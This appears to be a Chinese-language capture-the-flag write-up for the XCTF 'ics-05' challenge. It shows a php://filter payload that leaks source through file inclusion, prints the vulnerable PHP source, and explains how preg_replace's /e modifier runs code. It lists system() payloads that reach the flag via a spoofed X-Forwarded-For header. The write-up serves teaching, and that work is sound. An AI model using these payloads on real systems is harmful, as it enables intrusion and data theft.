(xctf)ics-05+php协议
前言
- 本篇文章的内容有php协议远程读取源代码
- 基于Preg_Replace函数代码执行
- 基于xctf的ics-05题目完成这篇文章
一、php协议读取文件
1、寻找位置
点击云平台维护中心,出现参数page;页面回显index;经过测试,你输入服务器没有的内容就会显示什么内容;

2、分析,构造payload
第一反应;有参数传递,看看有没有注入类的;输入1 and 1=1后,页面就不显示了,简单测试后不是,另找门路;
php的界面,想到php协议和伪协议;试试看
?page=php://filter/read=convert.base64-encode/resource=index.php
分析上述代码
- php://filter php中协议
- 关于php://filter内容请戳这里
- /read=convert.base64-encode 便是PHP协议读取的方式是64编码
- /resource=index.php 待处理的数据流

显示出内容了,找个burp64解码一下;得到源码(其中乱码是中文,不妨碍,重点128行,我加黄了)
1 <?php 2 error_reporting(0); 3 4 @session_start(); 5 posix_setuid(1000); 6 7 8 ?> 9 <!DOCTYPE HTML> 10 <html> 11 12 <head> 13 <meta charset="utf-8"> 14 <meta name="renderer" content="webkit"> 15 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 16 <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> 17 <link rel="stylesheet" href="layui/css/layui.css" media="all"> 18 <title>设å¤ç»´æ¤ä¸å¿</title> 19 <meta charset="utf-8"> 20 </head> 21 22 <body> 23 <ul class="layui-nav"> 24 <li class="layui-nav-item layui-this"><a href="?page=index">äºå¹³å°è®¾å¤ç»´æ¤ä¸å¿</a></li> 25 </ul> 26 <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"> 27 <legend>设å¤å表</legend> 28 </fieldset> 29 <table class="layui-hide" id="test"></table> 30 <script type="text/html" id="switchTpl"> 31 <!-- è¿éç checked çç¶æåªæ¯æ¼ç¤º --> 32 <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="å¼|å ³" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> 33 </script> 34 <script src="layui/layui.js" charset="utf-8"></script> 35 <script> 36 layui.use('table', function() { 37 var table = layui.table, 38 form = layui.form; 39 40 table.render({ 41 elem: '#test', 42 url: '/somrthing.json', 43 cellMinWidth: 80, 44 cols: [ 45 [ 46 { type: 'numbers' }, 47 { type: 'checkbox' }, 48 { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, 49 { field: 'name', title: '设å¤å', templet: '#nameTpl' }, 50 { field: 'area', title: 'åºå' }, 51 { field: 'status', title: 'ç»´æ¤ç¶æ', minWidth: 120, sort: true }, 52 { field: 'check', title: '设å¤å¼å ³', width: 85, templet: '#switchTpl', unresize: true } 53 ] 54 ], 55 page: true 56 }); 57 }); 58 </script> 59 <script> 60 layui.use('element', function() { 61 var element = layui.element; //导èªçhoverææãäºçº§èåçåè½ï¼éè¦ä¾èµelement模å 62 //çå¬å¯¼èªç¹å» 63 element.on('nav(demo)', function(elem) { 64 //console.log(elem) 65 layer.msg(elem.text()); 66 }); 67 }); 68 </script> 69 70 <?php 71 72 $page = $_GET[page]; 73 74 if (isset($page)) { 75 76 77 78 if (ctype_alnum($page)) { 79 ?> 80 81 <br /><br /><br /><br /> 82 <div style="text-align:center"> 83 <p class="lead"><?php echo $page; die();?></p> 84 <br /><br /><br /><br /> 85 86 <?php 87 88 }else{ 89 90 ?> 91 <br /><br /><br /><br /> 92 <div style="text-align:center"> 93 <p class="lead"> 94 <?php 95 96 if (strpos($page, 'input') > 0) { 97 die(); 98 } 99 100 if (strpos($page, 'ta:text') > 0) { 101 die(); 102 } 103 104 if (strpos($page, 'text') > 0) { 105 die(); 106 } 107 108 if ($page === 'index.php') { 109 die('Ok'); 110 } 111 include($page); 112 die(); 113 ?> 114 </p> 115 <br /><br /><br /><br /> 116 117 <?php 118 }} 119 120 121 //æ¹ä¾¿çå®ç°è¾å ¥è¾åºçåè½,æ£å¨å¼åä¸çåè½ï¼åªè½å é¨äººåæµè¯ 122 123 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { 124 125 echo "<br >Welcome My Admin ! <br >"; 126 127 $pattern = $_GET[pat]; 128 $replacement = $_GET[rep]; 129 $subject = $_GET[sub]; 130 131 if (isset($pattern) && isset($replacement) && isset($subject)) { 132 preg_replace($pattern, $replacement, $subject); 133 }else{ 134 die(); 135 } 136 137 } 138 139 140 ?> 141 142 </body> 143 144 </html>
二、Preg_Replace函数的代码执行
1、介绍Preg_Replace函数
preg_replace 函数执行一个正则表达式的搜索和替换。
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
简单来说就是搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
-
$replacement: 用于替换的字符串或字符串数组。
-
$subject: 要搜索替换的目标字符串或字符串数组。
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
-
$count: 可选,为替换执行的次数。
例子:

图片中slow替换了quick。
2、preg_replace /e 模式
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误
所以我们要使 replacement 参数是我们想要的php代码即可
此处引用大佬博客
代码分析:
123 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') //使用插件X-Forwarded-For Header改地址,
{ 124 125 echo "<br >Welcome My Admin ! <br >"; 126 127 $pattern = $_GET[pat]; 128 $replacement = $_GET[rep]; //判断三个变量存不存在,在进行perg_replace函数 129 $subject = $_GET[sub]; 130 //这里的三个变量都是由我们输入,就方便多了 131 if (isset($pattern) && isset($replacement) && isset($subject)) { 132 preg_replace($pattern, $replacement, $subject); 133 }else{ 134 die(); 135 }
payload:
index.php?sub=abc&pat=/a/e&rep=system("ls")

index.php?sub=abc&pat=/a/e&rep=system("cd s3chahahaDir;ls -l")

ndex.php?sub=abc&pat=/a/e&rep=system("cd s3chahahaDir/flag;ls -l")

ndex.php?sub=abc&pat=/a/e&rep=system("cd s3chahahaDir/flag;cat flag.php")
最后的flag在网页里

总结
- php协议在实际中的应用
- preg_replace() 函数/e模式下的妙用(还有很多方式)

浙公网安备 33010602011771号